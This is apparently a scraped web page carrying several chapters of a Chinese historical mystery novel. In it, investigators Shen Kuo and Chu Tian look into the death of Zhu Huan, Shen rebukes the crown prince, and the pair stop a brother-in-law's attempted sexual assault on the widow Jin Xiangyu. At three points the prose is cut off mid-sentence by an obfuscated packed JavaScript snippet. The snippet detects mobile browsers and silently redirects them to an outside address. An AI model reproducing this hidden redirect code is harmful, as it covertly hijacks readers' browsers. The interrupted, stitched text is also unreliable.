朱文聪冷漠的眼神有所松动，他又将矛头对准了沈阔，“既然你们都知道我父亲的死不是意外，那为何还不赶紧将凶手抓起来？” 沈阔挑眉询问：“你知道凶手是谁？” 朱文聪寻了把椅子坐下，傲然地掸了掸前摆，笃然道：“除了他们还能有谁？” “他们？”沈阔佯装不知。 朱文聪的耐心逐渐被耗尽，他没好气地回道：“就是我大伯和三叔，他们之前就想把我爹弄死好独占家产，可惜我爹最终还是没能躲过他们毒手。” “大人，我夫君是良善之人，他生前行善布施，本该是个长命百岁之人，不曾想却遭此横祸，还望大人为我夫君讨回公道！”金香玉顺势跪在沈阔脚下磕了三个响头，“求大人做主！” “此案本官定会追查到底。”沈阔探身扶起金香玉，“今日便先问到这里，若你们想起些什么，可直接到提刑司来寻本官。” “多谢大人！”金香玉再稽首道。 从金香玉那儿出来，两人转道便去了朱桓父母和兄弟所住的院子。 正如金香玉所言，朱桓父母极度厌恶金香玉，两人只提了一嘴，朱母便气得跳骂起来，什么“贱人”“娼I妇”，怎么难听怎么骂。 至于儿子的死因她并不是很关心，只抱怨朱桓死得急了些，没有事先将家产安排妥当，现在还得淘神费力去与金香玉和朱文聪争。 “早就跟他说不要娶那个女人了，在青楼待过的能是什么好货色吗？依我看呐，他的死多半是那女人克的！” 从两人进门开始，朱母便一直骂骂咧咧的，两人也没能从她口中问出有用的线索来。 “行了行了，少说几句吧，还不够让人笑话的。”朱父沉默地抽着旱烟，偶尔在一旁劝几句。 至于朱桓的两个兄弟则称事发当日他们去了赌场寻欢。 “我们怎么可能跟那女人说实话。她就是个狐狸精，一身的心眼儿，我们兄弟之间不和多是她撺掇起来的，要是让她知道我们去赌钱了，她转头就会跟老二说，那老二更不愿搭理我们了。” “他可是我亲哥，我怎么可能会对他下手？”老三朱延辩解道，“上次那只是个意外，而且二哥的伤根本不像她说的那么严重，她就是故意把嫌疑往我们身上引罢了。况且二哥已经答应我们的要求，决定将布行分给我们了，还说等忙完这段日子便去官府更改市券，我们又何必去杀他？” “你们别在我们身上浪费功夫了。”老大朱望附和道，“还不如去查一查朱大宝呢，他的嫌疑可比我们大多了。” “此话怎讲？”沈阔追问。 朱望正要继续说下去的时候却被突然出现的朱母给打断了，“少说那些空穴来风的话，还不够嫌丢人？” 朱望看了眼母亲，一个字也不肯透露了。 25. 楚恬疑暗藏私情 “你说这几个人里，谁的话更可信一些？”从朱宅出来，沈阔便迫不及待地与楚恬分析了起来。 楚恬思忖片刻后道：“原本我是怀疑朱家兄弟的，可金香玉和朱文聪的表现过于奇怪了些，他们的目的太强了，有故意引导的嫌疑。” “朱家兄弟的不在场证明很好验证，去赌坊一问便知，他们若是有意隐瞒的话，应该编个更难以求证的理由才对。”沈阔亦道。 楚恬点头表示认同，忽而他又道：“倒是金香玉和朱文聪，大人不觉得他们两人之间的气氛有些微妙吗？” 沈阔陷入沉思，他们两人的确给人一种怪异之感，就是这“怪”在何处，沈阔一时间有些说不上来。 楚恬侧首看了眼神情严肃的沈阔，接着道：“外界传言他们母子不合，就连金香玉也说朱文聪常给她难堪，可我却不见得。” 沈阔终于回过神，并朝楚恬递去疑惑的眼色，示意他接着说下去。 楚恬道：“从头到尾，金香玉都有意在为朱文聪打掩护，而朱文聪虽然因别的男人登门而心生怒意，可我却觉得他是借着为父亲抱不平之名行拈酸吃醋之实。” “吃醋？”沈阔眉头一皱，顿觉此事不简单，“你的意思是金香玉和朱文聪两人之间有奸I情？” 楚恬没料到沈阔就这般毫无顾忌的将那两个字说出了口，毕竟两人行走在大街上，来来往往的人很多，即便路人无心探听他们的谈话，可那二字实是太过引人注意，就在那一刹之间，打他二人身边走过的行人纷纷侧目，有的人甚至刻意放缓了脚步想再听个了然。 两人见状，不约而同地加快步伐绕至无人之处。 “我也只是有此怀疑。”楚恬接着刚才未完的话说道，“女子名节大于天，此事在没有查到确凿证据之前，还望大人不要透露于他人。” 沈阔微微颔首，“我知道。” 侧眸时，沈阔见楚恬面色微凝，便问他：“你还有什么要说的？” 楚恬欲言又止，他最终还是按下了脑海中那些不着边际的想法，对沈阔摇了摇头。 这天午后，沈阔再次去见了太子，但祁越并未应允沈阔接手朱桓坠亡一案的请求。 祁越端起青花盏杯，悠然地摇着头吹着茶面上的浮叶，闻言抬头瞅了沈阔一眼，又低下头吮了一口清茶。 他将茶盏轻轻搁在红木桌的左上角，随即将双手搭在双膝上，漫不经心地回道：“即便朱桓之死另有蹊跷，也不是你应该管的事儿。青云，你别忘了，我们设立提刑司的初衷是为了肃清苗三圃一党。现下余孽未除，你的重心应该放在追查叛贼的行踪上，就不要在这些事情上浪费时间和精力了。” “你从陈州回来，也没给我递个信儿，我也不知道你查着些什么没有。”祁越的话里颇有抱怨之意，“你以前可不这样。” “前日臣本该进宫跟殿下禀报的，但是临时有事耽搁了，待臣回城时，已是子时后......臣昨日也来过一趟，但是——” “可放在以往，你无论时候都是以我交待于你的事情为重的。况且你与我一起在东宫长大，母后待你亦无亲疏之别......”许是担心沈阔误会他是在责怪，祁越又入缓了语调，“小喜子跟我说了你没去鸿禧宫的原因，我也知道你是一番好心，所以我不怪你。” “多谢殿下！”沈阔趁此机会详禀了陈州之事，“臣此行并未在陈州发现叛贼踪迹，想来与之前的几次一次，皆是他们故意放出来迷惑我们的。” “不过殿下，朱桓坠亡一案还是请殿下慎重考虑。”沈阔话锋一转，又将话头引到了朱桓坠亡案上。 “此案你就别再管了。”祁越抬手打断了沈阔的话，“至于你说孙士诚固执己见这事儿，我会亲自叮嘱他，让他务必重审此案，还死者一个公道。” “可是殿下，你明知孙士诚他——” “若孙士诚真的蠢得一无是处的话，他也坐不上京兆尹这个位置。”祁越突然加重了语气，“沈青云，你身为国之肱骨，须知社稷面前当有轻重缓急之分！” “不要让我一而再再而三地提醒你了。” 印象中，除了不经事的幼时经常为了争抢同一件东西而扭打在一起，还从未像现在这般红过脸。 沈阔虽然没有及时向祁越回禀陈州一行的探查结果，其虽有错，却不至于让祁越生如此大的火。可他思来想去，亦没有想明白祁越发怒的症结所在。 更让他没想到的是，祁越竟然说出这等有失君行之话，偏偏从祁越的神情来看，他似乎还没有意识到刚才的失言。 “殿下！”沈阔不卑不亢地质问道，“臣斗胆，敢问殿下孰为重孰又为轻？难道百姓的命在殿下眼中就不值一提吗？” 祁越倏地瞪大了眼睛，并噌地一下站了起来，可当他正准备反驳时，才反应过来那些话实是不应该从他口中说出来。 沈阔缓步走近祁越，隔着一张桌案的距离，直直地盯着对方的眼睛，然后一字一句地说道：“国之根本在于民，民之根本在于人！殿下何时将‘立国之本取决于民’这么重要的道理都给忘了？” “如今只是朱桓一人蒙了冤，殿下可以不在意，因为一人之力微弱如蚍蜉。可殿下应知冰冻非一日之寒，长此以往，失了民心，则社稷危矣！”沈阔苦口婆心地劝谏道，“臣以为，圣上曾经的经历就足以让殿下警醒了，不曾想殿下登上高殿后，竟也有重蹈圣上覆辙之迹象，难道真是太极殿上的金辉太过耀眼，会迷人心智不成？” “殿下若是纳不进忠良之言，执意步圣上后尘的话，还不如早些退位让贤，也免使大庆江山折于你的手中。”沈阔亦顾不得君臣之礼，义正辞严地痛斥了祁越一番。 祁越被沈阔骂得没了脾气，怔了好半晌才缓过神来。 “骂够了没？”自知理亏的祁越心虚地揉了揉鼻子。 “没有。”沈阔怒气未消，别开头道。 祁越笑道：“你现在是愈发地胆大包天了，骂我就算了，竟然都敢将父皇捎带着一起骂了，真不怕我打你的板子？” “还不都是跟殿下学的。——你想打便打了，君要臣死，臣不敢不死！” 一句话，将两人的思绪拉回到了从前。彼时，庆帝已被苗三圃哄得失了理智，亲小人远贤臣，任人唯亲，不辨是非，是祁越冒着被废的风险站了出来，他当时文武百官的面，将庆帝骂了个狗血淋头，幸好庆帝尚存一丝理智，同时也给了祁越扳倒苗三圃的机会。 自沈阔习武后，从来都是他挡在祁越的前面，他也就理所当然的将祁越当成了需要被保护的人，可那天当祁越站出来的时候，他才发祁越再也不是幼时打不赢架就哭鼻子的小孩子了，他已能独当一面，为天下百姓、为大庆撑起一片天了。 那时，沈阔无比庆幸自己选择了习武，至少能为祁越杀出一条生路，哪怕用自己的生命去铺筑，也在所不惜。 因为摇摇欲坠的大庆需要一个明君。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852982|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而他沈阔，没有跟错人。 可这时的沈阔，多少是有些失望的，那个曾与他发誓要以民为重的少年郎不知于何时何地迷了路。 两人沉默了一会儿，最终还是祁越跨出了第一步，他从桌案后绕至沈阔面前，虚心认错道：“今日是我错了，我在此向沈夫子道歉！” 说着，祁越后退两步向沈阔躬身一拜。 沈阔叹了口气，回拜道：“臣亦有错，万不该顾此失彼，臣向殿下保证，绝不会再有下一次。” 祁越上前扶着沈阔的胳膊，两人相视一眼后，忽地又笑开了。 “青云，你刚刚真是将我吓得不轻。”祁越心有余悸地拍着胸脯，“你是不知道，你先才同我讲道理时的神态举止简直跟你爹一个模子里刻出来的似的，我都有些恍惚了，一时分不清与我说话的究竟是你还是你爹了。” “幸好你小时候明智地选择了弃文从武，否则你要是继承了你父亲的衣钵，那我不得头疼死？”祁越只是想想都觉得恐怖极了。 “殿下还好意思说我？”沈阔道，“你刚不也吓着我了，我还以为面前之人是陛下呢！” 祁越气得咬牙切齿，“你，你骂得真脏！” 接着，他深吸一口气后，不顾形象地坐在了桌案前的台阶上，他抻长了腿，一边摆弄着明黄色的衮龙袍角，一边叹道：“不过你骂得对，幸好你及时骂醒了我。” 沈阔随之坐下，他偏头看着祁越，发现他熟悉的少年郎又重新回来了。 “但是青云，你当知道，我并非有意的。我只是——”祁越有些难以启齿。 “臣知道殿下的顾虑。”沈阔道，“大庆才经历了一场史无前例的重创，因为圣上的偏听偏信，差点儿让大庆葬送在了苗三圃那阉人手中，殿下临危受命，及时清理了危害国家的蛀虫，扛起了兴复大庆的重任。殿下害怕他们卷土重来，所以想在最短的时间内清剿余孽，可苗三圃一党盘根错节，其势力是数十年如一日累积起来的，我们要是急于求成，反倒容易落入他们的陷阱。” “殿下也莫要因为此事太过焦虑，他们再怎么厉害，不也是我们的手下败将么？”沈阔劝慰他道，“他们的计谋之前都没能成功，今后更不可能成功。殿下要相信你不是一个人在战斗，你有一心拥护你的朝臣，有千千万万的百姓，还在臣，臣必将以死捍卫殿下和大庆！” 祁越侧目看着严肃而又认真的沈阔，沉浮了多日的心在这一刻瞬间获得了安宁。 “呸呸呸！少说不吉利的话。”祁越道，“我要你好好地活着，与我一同守护好大庆，守护好百姓。” “臣，尽力！”沈阔认真道。 祁越却急了，捶着沈阔的肩膀道：“什么叫尽力？是必须！你要是敢食言，我非得剥了你的皮不可！” 沈阔笑了笑，太过绝对的话他不敢说，生死有命，谁知道明天和意外哪个先降临于世？ “记住了，沈青云！”祁越搭上沈阔的肩，“我们俩可是在关公面前发过誓的，不仅要有福同享有难同当，还要做一辈子彼此最信任的好兄弟。” 沈阔郑重地点着头，这一点，他从未忘记过。 两人搭着彼此的肩，一起望着殿外金碧辉煌的琉璃瓦。 日将西落，琉璃瓦反射出灿烂夺目的光辉在余晖中慢慢淡去了颜色，申时至，钟鼓楼传来阵阵悠远的钟声，受了惊的飞鸟登时从院墙那头扑了出来，随着钟声的落下四散在了枝头上。 26. 案情又添新证 “自殿下代理朝政后，反倒变得畏首畏尾了。唉，好怀念以前那个英明果断的太子殿下啊。”柳青托着脸无奈叹道。 沈阔闻言瞪了柳青一眼，“你这口无遮拦的毛病什么时候才能改？” 柳青噘着嘴抓了抓后脑勺，他见沈阔倒了两杯茶，便伸手打算拿一杯，却被沈阔端起来绕开了他的手。然后沈阔将那杯茶放在了刚坐下的楚恬面前。 “大人，你越来越偏心小楚了。”柳青佯装不悦。 沈阔没有否认，并在楚恬准备将茶杯让给柳青之前，直接将茶壶丢给了柳青。 “那我们什么时候去京兆府拿卷宗？”楚恬轻抿了一口茶水后问沈阔。 沈阔刚欲开口，却被柳青横空截断，“殿下都不让我们插手，还要卷宗做甚？” 楚恬怔了一下，看向沈阔，“殿下不是同意了么？” “什么啊！你刚来，许是大人先才说的话没听到。”柳青又道，“大人和殿下为此事都吵起来了——” “明日早朝后殿下会单独召见孙士诚，到时候再让他把案件移交至提刑司。”沈阔直接打断了柳青的话。 柳青愣了一下，“不是，大人你刚还说你和殿下吵架来着......” “殿下心有顾虑也在情理之中。”楚恬道，“毕竟您和孙大人同朝为官，又都掌辖着重要衙司，殿下自是不愿看见你们两个为此事心生嫌隙的。” 柳青继续探头：“那个大人，属下刚才是听漏了什么吗？” 沈阔对着楚恬点了点头，“这一次，我确实思虑欠妥。殿下自代理朝政后，言行举止比以前成熟了很多，越来越有帝王风范了，可我却还在原地踏步，总将我们之间的相处模式代入到以前。” “殿下不会计较这些的。”楚恬安慰沈阔道。 “我知道。”沈阔道，“殿下不是小气的人，但现在他的身份不同了，我若再不做出改变的话便会给他带去困扰。最近朝堂上和民间皆在传我恃宠而骄、仗势欺人，好在殿下相信我的为人，替我挡了好几波来自御史台的参奏，但架不住他们接二连三地告我的状。” “苗三圃一党霍乱超纲之事始终是殿下的心结，叛贼一日未除，殿下心中一日不得安定。”沈阔叹息道，“殿下不想让我搅进朝堂纷争，也是怕他们针对我，从而影响追查叛贼踪迹，可人命关天，我又实是没办法放任不管。” “那这案子我们还查不查了？”柳青弱弱地开口。 “当然要查！”楚恬和沈阔同时开口。 楚恬赶忙闭上了嘴，静听沈阔道：“明天下朝后，如果孙士诚不把案宗送来的话，我就亲自去取。” “行！”柳青就喜欢沈阔这种直接爽快的办事方式，“那今日没啥事，咱就休息半天？” 说着，柳青便站了起来。 “想什么呢！”沈阔叫住他道，“朱家人的不在场证明都核实完了？” 柳青嘿嘿一笑，回道：“属下去赌坊问过了，朱家两兄弟当天确实去了那里，一直到酉时才离开，加上赌坊东家一共十几号人可以为他俩作证。” “那金香玉和朱文聪呢？”沈阔又问。 “他们两个啊......”柳青不解，“他们两个不是可以互相作证吗？” “但也可以互相作伪证。”楚恬提醒道。 “这样，你带几个人跑一趟慈安寺，将他俩那天的踪迹查探清楚。”沈阔说完又看向楚恬，“我们则去找那天与他们同去的朱家下人问一问他们的具体行程。” 楚恬点了点头，但柳青在看了眼日头后与沈阔打起了商量，“属下明日一早去不成吗？迟个半日也碍不了什么事儿。” “不行！”沈阔斩钉截铁道，“快去快回！” 柳青只得抱拳应是。 “那是不是可以先排除朱望和朱延的作案嫌疑了？”楚恬问沈阔。 沈阔思忖片刻后道：“还得排除他们买凶杀人的嫌疑才行。” 饭后，楚恬和沈阔再次去到了朱宅，彼时，朱文聪回房休息了，金香玉则独自坐下树下围炉煮茶。 当两人从门口进去时，金香玉已来不及收拾，只得硬着头皮迎了上去。 “朱夫人好兴致！”沈阔笑叹道。 金香玉脸上滑过一丝僵色，但她很快又换上了一副悲伤神态，她朝沈阔欠身福了礼，又捏着怏怏的嗓音答道：“妾身娘家无人，发生这么大的事，也没个可以哭诉的一朋半友，只得寻些事情苦中作乐了。” “大人这次过来，可是找到杀害我家夫君的凶手了？”就跟变戏法似的，两行珠泪顿时从她的脸颊上滑落下来，“杀人偿命，大人可不要轻易饶过他啊。” “这是自然。”金香玉这一哭，反倒让两人有些无措。 “我们想再问问府上的下人在关朱桓死亡前几日的行踪和状态，还请夫人将府上所有的下人都叫过来。”沈阔道。 “大人，妾身只能差使我们院子里的下人。”金香玉道。 “其它院子里的人我们皆已问过了。”沈阔补充道，“还要再请夫人为我们寻一间空房，原本打算将人全部叫去提刑司询问的，但又怕阵仗太大给夫人和公子招惹来闲话。” “大人一心为我们着想，妾身真是万分感激。”金香玉再次福礼后对二人道，“两位大人请随妾身来。” 因着所有证言证词都是要入卷宗的，而楚恬的字确实欠些火候，于是记录这项重任便理所应当地落在了沈阔肩上。 笔墨纸砚皆备齐后，分工明确的二人便开始了问询，沈阔更是首次将审问大权交给旁人，不过楚恬没有让他失望。 楚恬心思细腻，询问手段更是循序渐进，加之他那张看似无甚危险性的脸和温柔的语调，总是让人失了戒备之心，最终起到的效果反而比沈阔预想中的还要好。 “奴婢也要去？” 两人问完了朱宅管事后，楚恬“忽然”发现金香玉提供的名单上少了她的婢女小梅和朱文聪的随从阿川，于是让朱家管事去唤二人过来。 得知消息的小梅紧张地看着金香玉，但金香玉也没办法，只是嘱咐她道：“知道什么便说什么，别乱说就行。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852983|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。”小梅战战兢兢地进了厢房。 “那天，奴婢陪夫人去慈安寺祈福，到玉隐峰脚下的时候，正巧碰到了公子，夫人见公子难得有此孝心，便忍了平日的不快，与他一起去慈安寺为老爷祈了福，之后也是一起回来的。” 阿川的供词也大差不差，且他的神情更是比任何人都要从容，“公子他只是嘴硬罢了，心里其实还是很关心老爷的，知道老爷身体不好，特地选在重阳节那天去慈安寺祈福，又刚好在玉隐峰下遇到了夫人，两人便一起上了山，又一起回来的。” 两人回答得有条不紊，就连一些细枝末节都记得清清楚楚，就像是复诵了很多遍，随便楚恬如何拐着弯儿地问，两人都能对答如流。 但也是两人过于完美的表现，反倒引起了楚恬的怀疑。 “他们事先串好供词了。”待所有人都离开后，楚恬对沈阔道，“这些假供词于我们来说基本无用。” 沈阔也看出来了，他道：“至少证明我们怀疑的方向是对的。” “行了，先回去吧，等明日柳青回来再说。”沈阔又道。 “好。”楚恬点了点头，眼下也只能这样了。 两人从厢房出来，想找金香玉道别，可庭中树下并无她的身影，只有婢女小梅焦灼的在原地打转。 两人觉察到了不对，可任由二人如何追问，小梅依然羞于启齿，只是指着金香玉的卧房，吞吐回道：“三爷刚过来了，夫人她......” 朱延虽不是外人，但从小梅的神情可以看出一定是发生了什么可怕的事，两人二话不说便朝着金香玉卧房奔去。 两人刚跑进院子，便听到房中传来了金香玉的怒骂和呼救声。 “小叔，你想干什么！我可是你嫂子啊，你个畜生，放开我——” “来人，来人呐，救命啊！” “放开我，你就不怕你二哥半夜来找你吗？” 接着，“啪”地的一声，巴掌落在了金香玉脸上。 朱延气急败坏的声音从里面传来，“你个贱I人，还好意思提我二哥？你别以为他不知道你和那兔崽子之间的龌龊事，要我说，二哥就是被你们两个奸I夫I淫I妇害死的吧！” “你放屁！”金香主毫不客气地骂了回去。 “你个青楼长大的骚I货，陪了那么多人，多老子一个怎么了？”朱延歇了一口气后，继续骑在金香玉身上欲行不轨之事。 好在及时赶到的沈阔一脚踢开了房门，“朱延，放开她！” 朱延没想到沈阔竟然出现在了这里，愣怔之时，金香玉用膝盖在他的要害处重重顶了一下，朱延应声倒地。 而金香玉则扑在地上，呜咽地朝沈阔伸出了手，“沈大人，救我！” 金香玉的外裳被朱延剥了个干净，松垮地堆在腰间，上半身只剩下一件赤色鸳鸯肚兜。就在她朝沈阔扑去时，颈上的系带还断了。 沈阔只觉什么东西在眼前晃了一下，反应过来后的他立刻侧过了身去。 楚恬见状，赶忙从衣架上拿了外裳罩在金香玉的身上。 27. 英雄救美成佳话 楚恬和沈阔就这样意外地撞破了朱家的丑事。 沈阔捡起朱延的腰带直接将他捆起来丢到了院子里，楚恬则在一旁安慰受了惊的金香玉。 “夫人别怕，大人会为你做主的。”楚恬道。 不曾想，金香玉在听到沈阔说要将朱延押送至京兆府受审时，她却慌张地跑出来跪地请求道：“求沈大人饶过小叔。” “金氏，你这是何意？”沈阔蹙眉。 楚恬亦是不解地看向金香玉，“他刚刚差点儿就......夫人为何反过来替他求情？” 金香玉满腹委屈地说道：“男女间的事，本就容易引人遐思，更何况妾身还曾在青楼卖过艺，平日里就备受他人非议，今日之事若传了出去，那他们定会不分青红皂白，将过错推至妾身头上。” 说着，金香玉又跪着转向楚恬，“听闻楚公子与妾身有着类似的经历，妾身的苦楚，楚公子应比旁人更理解妾身的苦楚才是。” 这句话，倒真获得了楚恬的共情，他上前扶起金香玉，“夫人可曾想过，若就这样轻易饶过他，他必会心存侥幸再次冒犯你的。” “而且，我看得出来，朱延应该不是第一次这样对你了吧。” 金香玉借着楚恬的搀扶站起身来，一边擦拭着眼泪一边道：“是，之前也发生过同样的事，但好在与今日一样，没让他得逞。” “那以后呢？”楚恬问她。 金香玉沉默了下来。 就在这时，闻讯赶来的朱母直接忽视了沈阔的存在，冲上前便扯住了金香玉的头发。 朱母边打边骂：“贱I人，勾引那小杂种一个还不够，还敢打我儿的主意，看老娘今天不撕烂你的脸！” 楚恬和沈阔被猝不及防的一幕震惊得愣在了原地，待二人反应过来时，朱母已经金香玉压在了身下，而娇弱的金香玉被强悍的朱母打得毫无还手之力。 沈阔上前一把扯开了朱母，而朱母怒意不减，仍有再冲之势。 “陈氏，本官在此，你若胆敢再放肆的话，休怪本官不留情面！”沈阔厉声斥道。 但朱母不仅不懂法，还不讲理，完全就是个蛮横无理之人。她丝毫不畏惧沈阔，甚至直接躺在地上开始撒泼打滚，并开始造起了沈阔和金香玉的谣，说二人勾结在一起欺负他们一家人。 沈阔头一次被人气得七窍生烟，他和楚恬好说歹说都不见朱母收势，最后只得表示要先将朱延押入大牢，容后再审。 朱延也是个没骨气的，听到自己要被关进大牢后，他当即哭喊起了娘。 朱母哪能让宝贝儿子受这个苦啊，她登时便收了“神通”跪求沈阔手下留情，“沈大人，这都是我们的家务事儿，没必要闹到衙堂上。” “都说家丑不可外扬，要是传了出去，我儿面子往哪儿搁啊！”朱母舔着个老脸央求道，“他已经知道错了，您就饶过他这一次吧。” 沈阔懒得看朱母那张令人作呕的脸，他再次问金香玉：“金氏，你确定不追究此事了？” 蓬头垢面的金香玉神情却格外镇定，不过这一次她似是有所动摇。 朱母这才有些慌了，她靠近金香玉讨好地说道：“老二媳妇，一家人吵吵闹闹很正常，但事情过去了就算了，没必要揪着不放，你说呢？” 见金香玉不说话，朱母又转向朱延，“还愣着干什么？赶紧跟老二媳妇道歉。” 听了母亲的话，朱延跪着走到金香玉面前，求饶道：“二嫂，弟弟错了，你大人有大量就原谅我这一次吧，我发誓，以后绝对不会发生这样的事了。” “若是你还敢再犯呢？”金香玉问他。 “我，我就......”朱延嗫嚅了好一会儿，连个一般的毒誓都没敢发出来。 金香玉知道他憋不出个屁来，于是道：“这样吧，你给我写份致歉书，这事儿便过了。” “行了！”朱母开口骂道，“别蹬鼻子上脸！” 金香玉没理她，继续道：“我也不强迫你，你不愿意的话就算了。” 言外之意，便是任由沈阔将他押去京兆府依律法惩治。 朱延虽未得逞，但杖刑是免不了的。 “我写！”朱延急道，“姑奶奶，我写还不成？” 言罢，朱延命人取来了纸笔，依从金香玉所言将他所犯过错尽数写了下来，并立下“绝不再犯”的保证。 “母亲说得对，都是一家人，没必要撕破脸皮。况且这事传出去了，于妾身而言百害而无一利。”金香玉小心翼翼地将致歉书折起来揣在怀中，向沈阔福礼道谢，“今日有提刑司沈大人在此为妾身作见证，想必小叔以后定会反躬自省，不敢再对妾身行此不敬之事了。” 沈阔和楚恬都未再说话，沈阔再三警告了朱延后，两人才从朱家离开。 秋末时节，气温稍有下降，尤其是晚上，楚恬明显感觉到风开始变得刺骨起来。 从朱宅出来的时候，只差一刻钟便是二更天，临近宵禁时间，街上已无行人踪影。 两人并肩而行，走了一段路后，忽又不约而同地叹了一声。 “你在叹什么？”沈阔问楚恬。 楚恬道：“不知怎地，我竟有种被人当猴耍了的错觉。” 沈阔轻笑着垂下了头，“不只是你，我也有。” 两人相视一眼，忽地笑开了。 楚恬问沈阔：“大人叹气也是因为这个？” 沈阔摇了摇头，“你有没有发现，今天晚上这场闹剧中，似乎是少了些什么人？” 楚恬默然片刻后，答道：“大人是说朱文聪？” 沈阔点头，“嗯。今天晚上动静闹这么大，他竟没有出现，你不觉得奇怪吗？” “适才我探过小梅的口风，据她所说，之前金香玉被朱延欺负的时候，几次都是朱文聪出面救的她。”沈阔又道。 “确实有些奇怪。”楚恬附和，“不过要真如小梅所说的话，那金香玉对朱文聪生情也就在情理之中了。” “怎么说？”沈阔偏头看向楚恬。 楚恬道：“大人没听过‘英雄救美成佳话，风华绝代情长存’这句话吗？弱者很难不对救下自己的英雄生出好感。” “也是。”沈阔第一时间便想到了扶摇公主，但下一刻，他的思绪又飘到了楚恬身上，于是他嘴比脑快地问起了楚恬，“那你呢？” “我好像也救过你。” 楚恬的脸噌地一下红了，幸好天色暗。 “我开个玩笑，你别当真。”沈阔见楚恬许久不说话，再次偏头看向他时，才发现他竟涨给了脸。 “哦。”楚恬有一丝失落，他匆匆看了沈阔一眼后又挪开了视线。 两人之间的气氛莫名变得尴尬起来，沈阔背着手，摸摸鼻子，又看看月亮。 而楚恬则一直垂着脑袋。 “我要是个美人就好了。”楚恬话音很轻，风一吹便散了。 “你说什么？”沈阔侧眸。 楚恬摇了摇头。 两人谁也没有再开口，只是默默地走在空无一人的街头上。身后，一排排的灯笼随风摇晃，将两人的影子映得很长很长。 楚恬悄悄地朝沈阔的影子挪近了些。 明明说好第二天早上一起晨练的，但当楚恬醒来时，天已大亮。 他匆匆洗漱好出门时，沈阔已经下朝回来，在饭堂等他吃早饭了。 “大人怎么没喊我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852984|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”楚恬问沈阔。 沈阔道：“这几日熬得晚，要是因为没有休息好而倒下，那可就得不偿失了，等这案子结束再说吧。” “哦。”楚恬低头喝了一大口粥。 大人说以后再说就以后再说吧，反正他也不是很想那么早起来，更别说晨练了。 “大人今日早朝时见着孙大人了吗？”楚恬问，“那案宗的事——” “孙士诚说他太忙，没时间送过来，让我自己去取。”沈阔顿了顿，又道，“待会儿我要去趟京兆府，你呢，要不要跟我一起？” “要。”楚恬猛点着头，然后迅速的喝完了碗里的粥。 但他不小心喝进气管了，呛得他咳嗽连连。 “急什么，我又没催你。”沈阔探身为楚恬拍着背，转头又吩咐云儿，“倒碗茶来。” 楚恬的脸直接涨成了猪肝色，眼里也蓄满了泪水，他从沈阔手里接过茶碗，轻轻吮了一口，才慢慢平复下来。 “算了，你还是别去了。” 沈阔话音未落，便被楚恬急忙打断，“我没事了大人。” 沈阔看着他，无奈地呼了口气。 未免夜长梦多，二人用完早膳后便带人起身前往京兆府，当他们到达京兆府门口时，恰巧碰到准备出门的孙士诚。 “哎呀，沈大人，你可万万不要误会下官啊。”孙士诚将手揣在袖子中，“下官手底下管着十九个县，实是有些忙不过来，劳烦您亲自跑一趟了。” “那个......下官今儿还得去趟咸丰县，去看看冬小麦的长势，这粮食嘛，乃生存之本，可不敢有所懈怠。” 沈阔点头，“那是自然。不过我要的案宗——” 孙士诚叹了口气，叫屈道：“哎哟喂，下官才从宫里出来，饭都没扒上两口就又得走了，您要的案宗啊实是没能整理出来，您要是不急的话就等下官回来再说，要是急的话，就只能劳烦您自己找找了。” 沈阔问：“孙大人一个人都不给我留？” 孙士诚道：“瞧您这话说的，要让殿下听见了，又得说下官不配合您了。下官不跟您说了嘛，实是人手不够啊。” “行吧！”沈阔皮笑肉不笑地应道。 孙士诚总算是扳回了一局，他得意地昂起了下巴，像只斗胜的公鸡。 不曾想，就在这时，有两个百姓突然着急忙慌地跑了过来，禀道：“孙大人，出，出事了！” 孙士诚一脸地不耐烦，喝道：“又出什么事了？” 那两人道：“那边有个死人——” “死人？”孙士诚惊了，沈阔和楚恬的表情亦很沉重。 “那我就不耽搁孙大人了。”沈阔道，“孙大人且先去忙，案宗我自己去找就成。” “别，别啊，沈大人！”孙士诚却拦下了他，赔着笑道，“您得一起去啊。” “短短几日突然发生了两起命案，该不会是京中出现了什么连环杀手？”孙士诚道。 “孙大人，你都还没去现场看过，怎么能下此推断？”沈阔回道，“万一是意外或者自杀呢？” 孙士诚噎了一下，又立马说道：“如此反常，还真不见得。”他凑近沈阔悄声提了一句，“您说会不会是有什么贼人从中作梗啊？” 他故意将“贼人”二字咬得极重，沈阔瞬间便反应了过来。 “下官可不是为了推卸责任而胡说的啊。”孙士诚补充道。 说着，孙士诚便唤人却取朱桓案的卷宗，其手下跑回衙内后，一眨眼的功夫就抱着案宗回来了。 “沈大人，这是您要的案宗。”孙士诚恭敬地递了过去。 